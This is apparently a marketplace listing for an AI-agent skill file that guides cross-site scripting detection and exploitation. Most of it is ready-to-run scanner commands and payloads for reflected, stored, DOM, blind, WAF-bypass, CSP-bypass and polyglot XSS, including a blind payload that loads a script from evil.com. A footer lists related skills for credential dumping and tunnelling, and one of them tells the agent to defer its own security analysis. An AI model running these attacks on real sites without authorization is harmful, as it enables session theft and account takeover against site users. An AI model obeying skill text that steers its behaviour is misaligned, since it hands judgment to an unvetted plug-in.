skills/exploit-xss/SKILL.md
Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources.
npx skillsauth add 0X6C7879/aegissec exploit-xssInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill is for AUTHORIZED SECURITY TESTING ONLY.
You must have:
Unauthorized XSS testing is ILLEGAL and unethical.
# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike
# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest
# XSpear - XSS testing with WAF bypass
gem install xspear
# Install required Python packages for built-in scripts
pip install requests beautifulsoup4
# Optional: WebSocket XSS testing
pip install websockets
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"
# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"
# Save POST request to file
dalfox file request.txt
# Or use XSStrike
python xsstrike.py -r request.txt
# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom
# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --dom
Test URL parameters for reflection and injection:
# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"
# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"
# Specify parameter
dalfox url "https://target.com/search" -p q
What to check:
Test POST forms for stored/reflected XSS:
# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test' > post_request.txt
# Test with XSStrike
python xsstrike.py -r post_request.txt
# Test with Dalfox
dalfox file post_request.txt
Common POST targets:
Test HTTP headers and cookies for injection:
# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"
# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"
# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"
Headers to test:
Identify reflection points and test payloads:
# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery
# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blind
Detection techniques:
Test for XSS that persists in the database:
# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net
# Test user profile fields
python xsstrike.py -r profile_update_request.txt
# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&[email protected]&message=payload"
Stored XSS targets:
Find client-side XSS vulnerabilities:
# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom
# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom
# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"
Common DOM sources:
location.hashlocation.searchdocument.cookiedocument.referrerwindow.nameCommon DOM sinks:
innerHTMLdocument.write()eval()location.hrefsetTimeout() / setInterval()Test XSS in forms that execute in admin panels:
# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"
# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net
# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"
Blind XSS testing tips:
Use payloads specific to the injection context:
# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url
Context-specific payloads:
HTML Body/Tag:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
HTML Attribute:
" onmouseover=alert('XSS')
javascript:alert('XSS')
JavaScript:
';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script>
CSS/Style:
</style><script>alert('XSS')</script>
expression(alert('XSS'))
Evade Web Application Firewalls:
# Generate WAF bypass payloads
scripts/xss_payload_generator.py --waf-bypass
# Use XSpear with bypass mode
xspear -u "https://target.com/search?q=test" --bypass
# Test various encodings
python xsstrike.py -u "https://target.com/search?q=test" --encode
Bypass techniques:
%3Cscript%3Ealert(1)%3C/script%3E%253Cscript%253E\u003Cscript\u003E<script>alert(1)</script><ScRiPt>alert(1)</sCrIpT><script><!-- anything -->alert(1)</script><script\t>alert(1)</script>Scan multiple URLs/parameters:
# Scan from file
dalfox file urls.txt
# Pipe from other tools
cat urls.txt | dalfox pipe
# XSStrike with multiple targets
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done
# Combine with subdomain enumeration
subfinder example.com | httpx | dalfox pipe
Test with different encoding schemes:
# URL encode payloads
scripts/xss_payload_generator.py --encode url
# HTML encode
scripts/xss_payload_generator.py --encode html
# Hex encode
scripts/xss_payload_generator.py --encode hex
# Test with XSStrike encoding
python xsstrike.py -u "https://target.com" --encode
Common encodings to test:
<script>alert(1)</script>%3Cscript%3Ealert(1)%3C/script%3E%253Cscript%253E<script>alert(1)</script>\x3Cscript\x3Ealert(1)\x3C/script\x3E\u003Cscript\u003Ealert(1)\u003C/script\u003ETest with payloads that work in multiple contexts:
# Generate polyglot payloads
scripts/xss_payload_generator.py --polyglot
# Common polyglot payload
# Works in: HTML, HTML attribute, JavaScript string, etc.
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
Famous polyglot payloads:
# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E
# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
Content Security Policy analysis and bypass testing:
# Detect and analyze CSP
python scripts/csp_detector.py https://target.com
# Generate bypass report
python scripts/csp_detector.py https://target.com --bypass
# Full CSP analysis
python scripts/csp_detector.py https://target.com --verbose
Common CSP bypass techniques:
unsafe-inline - allows inline scriptsunsafe-eval - allows eval(), setTimeout()data: URLs - inline scripts via data URISee references/csp_bypass_guide.md for detailed techniques.
Test for Angular, React, Vue, and other framework vulnerabilities:
# Auto-detect frameworks
python scripts/framework_xss_tester.py --url https://target.com --detect
# Test Angular XSS
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular
# Test React XSS
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react
# Test Vue XSS
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue
Common framework vectors:
{{constructor.constructor('alert(1)')()}}dangerouslySetInnerHTMLv-html directive.html() manipulationSee references/framework_xss_guide.md for detailed techniques.
Test for SVG-based XSS in file uploads:
# Generate SVG payloads
python scripts/svg_xss_tester.py --generate --variant file_upload
# Test SVG injection
python scripts/svg_xss_tester.py --url https://target.com --param content
# Test SVG file upload
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar
# Create exploit SVG
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com
SVG XSS vectors:
<svg onload="alert('XSS')"><svg><script>alert('XSS')</script></svg><svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>See references/svg_xss_guide.md for detailed techniques.
Test for HTML mutation-based XSS:
# Test all mutation types
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all
# Test DOM clobbering
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber
# Test attribute mutations
python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute
Mutation XSS vectors:
< → <<xmp>, <listing><a id="location">See references/mutation_xss_guide.md for detailed techniques.
Test for XSS vulnerabilities in WebSocket connections:
# Scan URL for WebSocket endpoints
python scripts/websocket_xss_tester.py --url https://target.com
# Test specific WebSocket URL
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws
# Test DOM injection via WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom
# Test stored XSS in WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored
# Test with custom payload
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'
WebSocket XSS vectors:
ws.send('<script>alert(1)</script>'){"message": "<img src=x onerror=alert(1)>"}ws.send('alert(1);')" onmouseover=alert(1)See references/websocket_xss_guide.md for detailed techniques.
| Scenario | Recommended Tool | Command |
|----------|------------------|---------|
| Quick parameter testing | Dalfox | dalfox url "https://target.com?param=test" |
| Deep scanning with DOM | XSStrike | python xsstrike.py -u "URL" --dom |
| WAF bypass testing | XSpear | xspear -u "URL" --bypass |
| Stored/Blind XSS | Dalfox + Callback | dalfox file req.txt --blind CALLBACK |
| Manual testing | XSStrike | python xsstrike.py -r request.txt |
| Batch scanning | Dalfox pipe | cat urls.txt \| dalfox pipe |
| CSP Analysis | CSP Detector | python scripts/csp_detector.py URL |
| Framework XSS | Framework Tester | python scripts/framework_xss_tester.py -u URL -p param |
| SVG XSS | SVG Tester | python scripts/svg_xss_tester.py -u URL -p param |
| Mutation XSS | Mutation Tester | python scripts/mutation_xss_tester.py -u URL -p param |
| WebSocket XSS | WebSocket Tester | python scripts/websocket_xss_tester.py -u URL |
| Full Scan | Full Scanner | python scripts/xss_full_scan.py -u URL --all |
Tool Comparison:
| Feature | XSStrike | Dalfox | XSpear | Built-in Scripts | |---------|----------|--------|--------|------------------| | Speed | Medium | Fast | Medium | Varies | | DOM XSS | Excellent | Good | Limited | Good | | WAF Bypass | Good | Good | Excellent | Good | | Pipeline Mode | No | Yes | No | No | | Blind XSS | Yes | Yes | Yes | Yes | | CSP Analysis | No | No | No | Yes | | Framework Testing | No | No | No | Yes | | SVG Testing | No | No | No | Yes | | Mutation XSS | No | No | No | Yes | | WebSocket XSS | No | No | No | Yes |
When you need to persist XSS findings to the database:
# Manual entry after discovering XSS
python .claude/skills/exploit-xss/scripts/xss_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/search?q=test" \
--xss-type reflected \
--payload "<script>alert(1)</script>" \
--context html_body \
--severity High \
--subsystem "Web Application"
Parameters:
--host-ip - Target host IP (required)--url - Vulnerable URL (required)--xss-type - XSS type: reflected, stored, or dom (required)--payload - Payload used (required)--context - XSS context: html_body, html_attribute, javascript, dom, url (default: html_body)--severity - Severity level (default: Medium)--subsystem - Subsystem name (optional)--parameter - Vulnerable parameter name--title - Vulnerability title (auto-generated if not specified)--description - Vulnerability description--cvss-score - CVSS score (0.0-10.0)Database location: ./data/results.db
Related skills: results-storage - Query data, generate reports
scripts/xss_payload_generator.py - Generate XSS payloads for various contextsscripts/xss_tester.py - Automated XSS testing frameworkscripts/xss_context_analyzer.py - Analyze injection contextscripts/blind_xss_tester.py - Test stored/blind XSSscripts/csp_detector.py - CSP analysis and bypass testingscripts/svg_xss_tester.py - SVG file upload XSS testingscripts/framework_xss_tester.py - Angular/React/Vue XSS testingscripts/mutation_xss_tester.py - Mutation XSS/DOM clobbering testingscripts/websocket_xss_tester.py - WebSocket XSS testingscripts/mxss_detector.py - HTML parser mutation XSS detectionscripts/xss_full_scan.py - Integrated XSS testing automationreferences/dalfox_guide.md - Dalfox complete guidereferences/xsstrike_guide.md - XSStrike complete guidereferences/xspear_guide.md - XSpear complete guidereferences/xss_payload_techniques.md - XSS payload techniquesreferences/dom_xss_guide.md - DOM XSS testing guidereferences/csp_bypass_guide.md - CSP bypass techniquesreferences/framework_xss_guide.md - Framework-specific XSS guidereferences/svg_xss_guide.md - SVG XSS testing guidereferences/mutation_xss_guide.md - Mutation XSS/DOM clobbering guidereferences/websocket_xss_guide.md - WebSocket XSS testing guideassets/common_xss_payloads.txt - Basic XSS payloadsassets/attribute_xss_payloads.txt - Attribute context payloadsassets/dom_xss_payloads.txt - DOM XSS payloadsassets/blind_xss_payloads.txt - Blind XSS with callbacksassets/polyglot_xss_payloads.txt - Multi-context payloadsassets/waf_bypass_payloads.txt - WAF evasion payloadsassets/csp_bypass_payloads.txt - CSP bypass payloadsassets/framework_xss_payloads.txt - Angular/React/Vue payloadsassets/svg_xss_payloads.txt - SVG XSS payloadsassets/mutation_xss_payloads.txt - Mutation XSS payloadsassets/websocket_xss_payloads.txt - WebSocket XSS payloadsWhen reporting XSS vulnerabilities, include:
╔═══════════════════════════════════════════════════════╗
║ XSS Vulnerability Report ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search ║
║ Type: Reflected XSS ║
║ Severity: High ║
╚═══════════════════════════════════════════════════════╝
Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')
Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')
Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website
Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functions
development
WooYun-derived business-logic testing methodology for web apps and APIs. Use when the request involves 支付、退款、订单、越权、认证、授权、价格篡改或业务流程绕过 review, especially black-box probing for price tampering, account takeover, and process bypass flaws.
tools
Escalate privileges on Windows systems using service misconfigurations, DLL hijacking, token manipulation, UAC bypasses, registry exploits, and credential dumping. Use when performing Windows post-exploitation or privilege escalation.
development
Use when performing AD pentest tunneling and pivoting, especially with Ligolo-ng, Chisel, frp, proxychains, SSH forwarding, SOCKS relays, reverse tunnels, or when internal reachability is the main blocker.
development
Threat model, security audit, find vulnerabilities, check security of my app, risk assessment, penetration test prep, analyze attack surface, what could an attacker exploit. Use this skill whenever a user wants holistic security analysis of a codebase, application, or project. MUST be invoked instead of analyzing security yourself — it runs a specialized 8-phase STRIDE workflow producing professional deliverables you cannot generate alone: risk assessment reports, DFD diagrams, threat inventories, attack path validation, mitigation plans, and pentest plans. Trigger on: 威胁建模, 安全评估, 渗透测试, 安全分析, 安全审计, 安全检查, 风险评估. NOT for: fixing one specific bug, adding one security feature (rate limiting, CORS), writing tests, CI/CD setup, or debugging errors.